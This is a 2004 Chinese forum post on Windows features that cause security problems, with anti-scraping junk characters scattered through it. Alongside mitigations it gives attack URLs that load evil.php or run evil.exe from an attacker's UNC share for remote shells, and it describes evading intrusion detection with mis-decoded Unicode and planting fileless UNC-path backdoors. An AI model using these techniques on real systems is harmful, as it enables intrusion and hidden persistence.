这篇文章早就想写了，只是题目太大了，所以一直不敢写，高手可以厚积薄发，我只能积多少发多少了。 6 k* ]$ z k7 p+ K* \" I 7 U0 o+ r9 \& R$ E关于Windows 和*nix 谁更安全的讨论很多。*nix 大家知道存在着suid之类的死穴，那么Windows的哪些特点始终与安全问题纠结在一起呢？ ; {6 f, U! i) |$ U5 n8 m% s) j/ M0 ?$ p/ H6 M
一：代码庞大，代码重用! B8 C2 _0 N. X B+ _: d0 f1 l
; _( U$ V- p) {
有一个“小程序定理”：程序中的bug 和程序大小成正比。还有一句谚语：凡可能出错的地方就一定会出错。微软的程序员不是神，那么多行代码，还要求软件工程学上的完美，代码重用……昨天ilsy跟我提到那个ldap溢出，其实就是一个根本不该犯的错误，但是仍然犯了。要求代码重用就意味着在某个版本上出现的问题，就可能会在后续版本中都有问题，其他重用此代码的程序中也可能会有问题。 ! e# H6 P( N( }7 b0 `0 K1 \; ?( F8 R% h6 z+ I ^
曾经有人说Windows .net出来，搞Windows 安全的就没饭吃了，我看一定不会，盖兹不会那么残忍。) c% z" o5 K8 M
3 m) w0 q; ?0 g$ ?; F7 P二：盲目追求易用性和兼容性 5 `: b5 G: F1 g2 X8 Y4 I6 T( I ; N' L7 Q- {+ u( g/ J毕竟是开公司，当然是怎么赚钱最多就怎么搞，听casper说微软花上百万去研究按钮的 # Y' U, q5 i, p0 c- V# j光源从哪个角度照下来好看。好用的东西，傻瓜的东西，大家当然愿意买。所以默认就什么都支持，什么都包含，什么都关联什么都兼容。3 \. _1 W% K3 x
9 t3 H4 r# Z6 [* i+ I& |1 I- A
三：废话不说了，说点实在的。, X4 W& A4 y/ D6 C5 R r0 y/ ]
& S! K% ^7 `1 b6 r' ]$ M9 f
1、unicode的支持' y6 x' D! Z9 |3 L( }
$ L! [/ b- [- N" W" t3 V. F0 RIIS的unicode漏洞我就不多说了，其实除了IIS，其他还有不少Windows上的web 服务器存在类似问题。因为对unicode 的解码是系统内核完成的，真要想把错误解码问题解决，估计花钱不会少。我发现微软其实并没有在unicode 漏洞的补丁中真正把错误解码纠正，而只是简单过滤了一些危险的字符编码。主要是不允许“.”和“/”或者“”在一起出现，否则就报错。所以我们仍然能用错误解码来做一些事情，譬如说对付NIDS。把我们要扫描或者利用的http请求转换成错误编码格式，大多数的NIDS都是不能识别的。大家可以试验一下，看看是不是有哪家的NIDS 可以检测到这个。附录1是我自己搞的一个Windows 2000 中文版unicode错误解码表，不一定很全，大家可以参考。有兴趣的可以用这张表搞一个扫描器，对每一个字符随机使用正常unicode编码、utf8 编码和错误解码，看看是否还有什么NIDS可以识别。$ y6 ?( w8 F6 Q* r# r7 l% X9 z
9 b/ ~( b; T/ ]/ g7 x2 L, ]5 S
我甚至相信在XP中，这个问题也未必会得到根本的解决。 0 m2 m0 h4 l) j7 _2 z( u; n" }0 m% I8 a5 |9 Y4 x7 Q
2、扩展名欺骗 : i- B( R5 P; J$ h3 h0 |! X* ]4 T: g: M6 O
我们都认为Windows下文件性质由扩展名决定，也很容易相信一个doc（关掉宏的话）或者gif文件是无害的。但事实上，Windows不完全是按照扩展名来处理文件的，它会根据文件头部的信息对文件性质作初步的判断。NT 4就曾经出现过这样的问题：对于一个EXE 文件，当命名为.DOC时，双击运行，系统仍然按照EXE文件来加载执行！即使Windows 2000下，我们把一个EXE 文件扩展名改成任意的，在命令提示符下仍然会当作EXE文件运行： . M; g. w R/ z0 j, Y. C/ U2 f9 [2 W
C:>test.exe; y2 ~6 @ m A7 I4 e, c/ C
only test !. `2 D% L4 u4 c% x. q
8 R% x( g4 o6 h' DC:>ren test.exe test.txt q0 |' N' K. I4 p" r4 lC:>test.txt4 ]! L. O$ Z9 J) V$ G0 J2 f
only test !- } M9 a" O4 N. R% u' C0 a4 z
! Y5 x9 ]. b/ E! x( F% DC:>ren test.txt test.any " x& t& u0 F. T, ?C:>test.any & `, C/ c! q' b: i6 l( b1 |0 bonly test !6 W# j8 t0 \8 F+ L$ K' j4 q- j% k
+ |0 c( [% S9 u, T! O# p. g
幸好在资源管理器里双击运行时不存在这样的问题。但是EXE文件扩展名改为.com .cmd .bat .pif .scr仍然能正常双击运行，还有一定欺骗性。不少邮件病毒就是用了类似的手段。 % S" q- C: B) [% C( ~. r: V+ ^# H! D/ x
3、8.3文件名，16位子系统，POSIX子系统，OS2子系统: I% r5 @) E' A1 X3 ?9 H
# q. `& U; H7 {1 e
能运行16位程序、OS2、POSIX 程序也是Windows NT/2000的一个卖点。但是由于对这些的支持需要使用一些系统级的 Privilege，也可以认为是某种意义上的suid，所以造成了安全隐患。历史上NT 4就曾经由于POSIX 子系统的问题出现过提升权限的漏洞。一般的系统加固手册中都会要求关掉这些支持。8 X, ^4 X/ M9 W9 M! R
& |% F' p2 d8 f- H! U/ HDos对长文件名会作截短处理，Windows NT/2000虽然支持长文件名，但默认也支持截短后的8.3 格式。当我们对某个文件进行基于文件名的访问控制的时候，就有可能通过使用截短的8.3 文件名来绕过控制。对于某些设计未考虑此问题的WEB服务器来说，就可能导致CGI源码泄漏。1 l. J/ s1 Z. t& l2 f
V$ j' C' m6 Z: S4、“/”“”不分 Q; b' U* z( g7 o! F' b* S7 J) @- m; {% F# l
Windows 下一般使用“”表示目录，但是对“/”也可以接受，这和*nix仅仅支持“/”是不同的。在编写asp、php等的时候，以及在写WEB 服务器之类程序的时候，如果没有把这两种都考虑到，往往会导致对WEB上级目录的越权访问。以前Win32 Apache就有这个问题。+ ^' Z: x9 o: n7 Z* v0 Y* p
u4 w* ?* b2 V( K) y
5、UNC路径支持 # r# t8 C# M, ~( j: ?1 P 2 c- Q# y! j) {4 X! t# z对UNC 路径的支持可以使我们很简单的访问远程文件，但它所带来的安全问题也的确是太多了。首先，UNC 几乎在任何地方都可以被使用，可以有无数种方法欺骗用户访问入侵者的机器，而Windows NT/2000 的认证机制为了易用性，默认会在你访问的时候主动把当前用户密码散列值发送过去，对于没有加固的系统来说，散列值和密码本身几乎是没有什么区别的。 ! G3 F2 L5 p9 U6 u5 n0 @" l k0 G! f, ?2 x. _+ k
Windows NT/2000上安装Apache + php后，默认存在一个“/cgi-bin/php.exe?”的漏洞，漏洞发现者告诉我们这个问题可以被用来察看系统的任意文本，但事实上这个漏洞完全可以获得远程shell。因为我们可以这样：http://cgi-bin/php.exe?\myipshareevil.php。5 G" g3 H: v }; _0 }
如果*nix上存在这个问题，就仅仅只能用来看文件——除非你能传文件上去。 9 v7 A& l3 V4 z" T4 a" a: G( X% H+ @+ N, n% K3 G
类似的，在一些漏洞的利用中，即使用户对所有目录都不可写，我们仍然可以运行指定的程序：http://host/scripts/../../cmd.exe?/c+\myhostshareevil.exe V& K- C6 e* D0 n! y1 a9 b) W
9 |- p2 Q, g) W, y6 h. M7 C4 g同样还可以用UNC 路径来安装真正无文件的后门，只要在注册表某个可以自启动的项上或者计划任务列表中添加一个指向UNC路径的程序即可。这个文件是不存在于本地硬盘上的，甚至也不会在临时文件夹里，可以躲过很多审核工具。 + A9 T/ A8 Z& Y) S3 Y. O0 P 8 |* |, H- m# ?% O5 y I* r M要去除对UNC路径的支持，可以禁用DeviceMup设备。% T" _2 c3 |! [5 |
IP卡
狗仔卡
发表于 2004-10-9 14:44
转播
淘帖
分享
收藏
支持
反对
微信
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
抢沙发
显身卡
发表于 2004-10-17 21:01
